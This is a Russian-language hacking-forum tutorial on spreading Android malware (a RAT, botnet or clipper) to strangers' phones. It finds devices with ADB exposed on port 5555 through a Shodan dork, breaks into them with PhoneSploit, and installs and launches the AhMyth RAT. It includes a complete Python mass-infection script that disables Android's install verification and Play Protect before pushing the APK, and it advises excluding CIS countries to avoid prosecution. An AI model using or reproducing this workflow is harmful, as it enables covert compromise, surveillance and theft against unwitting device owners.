Добываем инсталлы для .APK файла при помощи PhoneSploit + Shodan
V1rtualGh0stПривет, сегодня поведаю тебе о способе добычи бесплатных установок для твоего андроид-ботнета/RAT'a/Клиппера и прочей нечисти. В этой статье будет использоваться инструмент под названием PhoneSploit. О его возможностях мы поговорим чуть позже. Прежде чем рассказать о самом способе, сначала расскажу о его плюсах и минусах.
Плюсы:
- Это абсолютно бесплатно.
- Количество инсталлов будет зависеть от вашей продуктивности и кол-ве уязвимых устройств.
- Так как мы работаем с Shodan, мы можем отфильтровать страны, тем самым убрать СНГ устройства, обезопасив себя от работы по РУ.
- Всё это дело можно будет автоматизировать, с помощью не сложных скриптов на Python'e.
Минусы:
- Один из самых огромных минусов является то, что вы, возможно, будете не единственным человеком заразившим уязвимое устройство. Это связано с тем, что список устройств находится в открытом доступе.
- Для автоматизации нужен будет API ключ для Shodan. (не обязательно, но желательно)
Всю статью я разжую максимально подробно, чтобы у тебя, %username%, не возникли вопросы. Статья делится на 4 этапа, поэтому можно считать это за пошаговый мануал.
Садись поудобнее, мы начинаем!
ЭТАП I. Установка PhoneSploit и пару слов об уязвимости.
Уязвимость андроид устройств заключается в ADB.
Android Debug Bridge (adb )- это универсальный инструмент командной строки, который позволяет взаимодействовать с устройством. Команда adb облегчает различные действия устройства, такие как установка и отладка приложений, и предоставляет доступ к оболочке Unix, которую можно использовать для выполнения различных команд на устройстве Обычно разработчики подключаются к службе ADB, установленной на устройствах Android, с помощью USB-кабеля, но также можно использовать ADB wireless, включив daemon-сервер на TCP-порте 5555.
И эксплуатировать эту уязвимость мы будем при помощи PhoneSploit.
PhoneSploit - проект на Python2 с открытым исходным кодом. PhoneSploit может использовать в Android открытые порты Adb. Этот скрипт доступен как для Linux, так и для Windows.
Как и было сказано выше, инструмент можно установить как на Linux, так и на Windows. Приступим к установке.
Спойлер: Установка на WindowsТак как скрипт написан на Python 2-ых версий, соответсвенно устанавливаем именно именно эту версию. Качаем с официального сайта.
Далее переходим в репозиторий на гитхабе, и скачиваем архив со скриптом.
Для удобства перекидываем файлы с архивом прямо в папку с питоном, и разархивируем архив abd.rar в текущию директорию. Должно получиться примерно так:
Установим необходимую для запуска библиотеку - colorama, командой; pip install colorama
Ну и для теста попробуем запустить скрипт командой: python.exe main.py
Спойлер: Установка на Linux.С установкой на Unix системы всё гораздо проще. Открываем терминал, затем поочерёдно вводим следующие команды:
git clone https://github.com/metachar/PhoneSploit
cd PhoneSploit
pip install colorama
python2 main_linux.py
И если покажется интерфейс скрипта, то всё прошло гладко.
После установки инструмента, переходим ко второму этапу.
ЭТАП II. Знакомство с Shodan и поиск уязвимых устройств.
Что же представляет собой поисковик SHODAN?
Система SHODAN опрашивает порты подсоединенных к сети машин и собирает выдаваемые в ответ баннеры, после чего индексирует эти баннеры на предмет последующего быстрого отыскания соответствующих устройств. В итоге такой обработки, вместо того, чтобы предоставлять специфический контент страниц, содержащих конкретное поисковое слово запроса, SHODAN помогает своим пользователям отыскивать специфические узлы сети: настольные системы, серверы, роутеры, свитчи, веб-камеры, принтеры и т.д.
Для более "узкого" поиска в Shodan, существует множество фильтров, вот некоторые из них:
- country: "Код страны" - Служит для отсеивания устройств по определённым странам. Пример: contry: "US"
- city: "Имя города" - Служит для фильтрации по городам. Пример: city: "New York"
- product: "Имя/Описание продукта" - Служит для фильтрации по имени или описании продукта. Пример: product:”Android Debug Bridge”
Конечно же эти фильтры можно использовать в связке, тем самым получив максимально нужный диапазон жертв.
Итак, теперь, когда мы познакомились с нашим поисковиком, а также предварительно залогинилсь в нём, покажу нужный нам дорк:
android debug bridge product:”Android Debug Bridge”
После попытки поиска, получаем IP адреса андроид устройств:
Устройства найдены, можем приступить к следующему этапу.
ЭТАП III. Обзор функционала PhoneSploit.
Не буду писать про каждый функционал отдельно, поэтому просто посмотри на текст ниже:
Код:Скопировать в буфер обмена
____ __ _____ __ _ __ / __ \/ /_ ____ ____ ___ / ___/____ / /___ (_) /_ / /_/ / __ \/ __ \/ __ \/ _ \__ \/ __ \ / / __ \/ / __/ / ____/ / / / /_/ / / / / __/__/ / /_/ / / /_/ / / /_ /_/ /_/ /_/\____/_/ /_/\___/____/ .___/_/\____/_/\__/ /_/ [ 1 ] показать подключенные устройства [ 6 ] Запись экрана телефона [ 11 ] удаление приложения [ 2 ] отключить все устройства [ 7 ] снимок экрана на телефоне [ 12 ] показать журнал работы устройства в реальном времени [ 3 ] подключение нового телефона [ 8 ] перезапуск сервера [ 13 ] дамп информации о системе [ 4 ] доступ к командной оболочке на телефоне [ 9 ] перенос папок с телефона на ПК [ 14 ] Список всех приложений на телефоне [ 5 ] Установить apk на телефон [ 10 ] Выключить устройство [ 15 ] запустить приложение [ 99 ] выход [ 0 ] очистить [ p ] Следующая страница v1. 2
Попробуем подключиться к устройству. Выбираем 3й пункт, далее вводим IP телефона:
Проверим подключения, выберем первый пункт:
Теперь подготовим билд нашего зверька, загрузим его на телефон. Выбираем 5й пункт, далее вводим прямой путь до .apk файла (я устанавливаю билд AhMyth RAT'a):
Всё практически готово, осталось запустить наше приложение. Узнаем список приложений на телефоне выбрав 14й пункт:
Среди всех приложений, нам нужно найти имя нашего пакета. Я использовал AhMyth RAT, поэтому быстро нашёл нужный нам пакет:
Ну и для запуска выбираем 15й пункт и вводим имя нашего пакета (ВАЖНО: Вводить нужно только имя, в моём случае это: ahmyth.mine.king.ahmyth):
Ну и ловим соединие, но уже через РАТ:
Этап IV. Автоматизация с помощью скриптов.
Для автоматизации всего этого дела, у меня есть 2 скрипта. Один из них парсит IP'шники с Shodan'a, и находится в открытом доступе. И второй, нужен для автоматизации прогруза apk файла по IP'шникам находящимся в файле.
И так, первый скрипт.
Написан на Python3 и доступен в открытом виде на GitHub.
Спойлер: Установка на WindowsDownload zip: https://github.com/LimerBoy/PS-Grabber/archive/master.zip
Unzip folder PS-Grabber
cd PS-Grabber/
pip install -r requirements.txt
python grabber.py
Спойлер: Установка на Linux.git clone https://github.com/LimerBoy/PS-Grabber.git
cd PS-Grabber/
sudo pip3 install -r requirements.txt
python3 grabber.py
Запускаем скрипт и просто вводим количество страниц, с которых спарсятся IP:
В папке logs появится текстовой файл, в котором будут записаны ИПшники.
Скрипт #2.
Нет в паблике, был написан моим знакомым на Python3. Сам скрипт служит для прогруза файла, в коде нужно будет указать полный путь до .apk файла, текстовика с IP'шниками и имя пакета:
ВАЖНО! Этот скрипт не работает на Windows машинах, поэтому запускай на линуксе.
Спойлер: Код скриптаPython:Скопировать в буфер обмена
import subprocess from pathlib import Path import os import time logo = ''' __ ______ ____ ___ ____ _ _ __ ___ _ _ ____ _ ___ _ \ \/ / ___/ ___| |_ _/ ___| | | | |__ _ _ \ \ / / |_ __| |_ _ _ __ _| |/ ___| |__ / _ \ ___| |_ \ /\___ \___ \ | |\___ \ | | | '_ \| | | | \ \ / /| | '__| __| | | |/ _` | | | _| '_ \| | | / __| __| / \ ___) |__) | | | ___) | | | | |_) | |_| | \ V / | | | | |_| |_| | (_| | | |_| | | | | |_| \__ \ |_ /_/\_\____/____(_)___|____/ | | |_.__/ \__, | \_/ |_|_| \__|\__,_|\__,_|_|\____|_| |_|\___/|___/\__| |_| |___/ ________________________________ | Author Telegram: @XazkerBoy | Logo & Manual by V1rtualGh0st --------------------------------- ''' print(logo) apkpath = '/root/PhoneSploit/a.apk' #Path to the APK file that should be installed apkpkg = 'system.operating.dominance.proj' #APK package name (can be seen by installing aapt and running 'aapt dump badging <path-to-apk> | grep package:\ name') ippath = '/root/results.txt' #Path with IPs of devices, on which the PAK will be installed delay = 3 def checkconnect(ip): process = subprocess.Popen(['adb', 'connect', ip + ':5555'], stdout=subprocess.PIPE) time.sleep(delay) data = process.communicate() if 'unable to connect' in data[0]: os.system('adb disconnect') return False return True def install(ip): os.system('adb -s ' + ip + ' shell settings put global verifier_verify_adb_installs 0') time.sleep(delay) os.system('adb -s ' + ip + ' shell settings put global package_verifier_enable 0') time.sleep(delay) os.system('adb -s ' + ip + ' uninstall ' + apkpkg) time.sleep(delay) os.system('adb -s ' + ip + ' install ' + apkpath) time.sleep(delay) os.system('adb -s ' + ip + ' shell monkey -p ' + apkpkg + ' -v 10') time.sleep(delay) os.system('adb disconnect') if apkpath == '': print('No APK selected!') exit() my_file = Path(apkpath) if not my_file.exists(): print('That APK doesnt exist!') exit() if ippath == '': print('No file with IPs selected!') exit() my_file = Path(ippath) if not my_file.exists(): print('That IP file doesnt exist!') exit() try: os.system('adb kill-server') except: print('An error has occured\nMaybe ADB is not installed, please install it and restart the app') exit() os.system('adb tcpip 5555') f = open(ippath, 'r') for line in f.readlines(): if line == '': continue if not checkconnect(line.strip()): print('Could not connect to ' + line.strip()) continue print('Successfully connected to ' + line.strip()) install(line.strip()) os.system('adb kill-server') f.close() print('DONE!')
Имея открытые сурсы обоих скриптов, умельцы смогут объединить эти инструменты в один.
Итоги.
Вот таким нехитрым способом мы сможем распространить свою пакость по андроид-устройствам. На момент написания статьи в Shodan насчитывалось 11.000+ уязвимых, перед ADB, устройств. Вся статья уместилась в 4 этапа, думаю сложностей не должно возникнуть, так как постарался расписать всё максимально подробно и понятно. Но если всё же вопросы остались, можешь задать их либо в этой теме, либо у меня в лс на форуме. На этом всё, удачного спрединга!